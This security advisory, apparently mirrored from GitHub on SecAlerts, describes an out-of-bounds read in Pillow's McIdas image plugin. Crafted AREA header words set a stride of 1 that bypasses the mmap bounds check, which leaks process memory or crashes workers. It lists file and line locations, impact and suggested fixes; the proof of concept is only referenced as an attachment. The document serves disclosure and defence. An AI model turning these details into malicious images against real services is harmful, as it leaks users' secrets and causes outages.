SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin.open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.mapbuffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImagingMapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.

Suggested fix Core fix in src/map.c (PyImagingMapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin.open: reject offset < 0 or stride < xsizepixelsize .

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203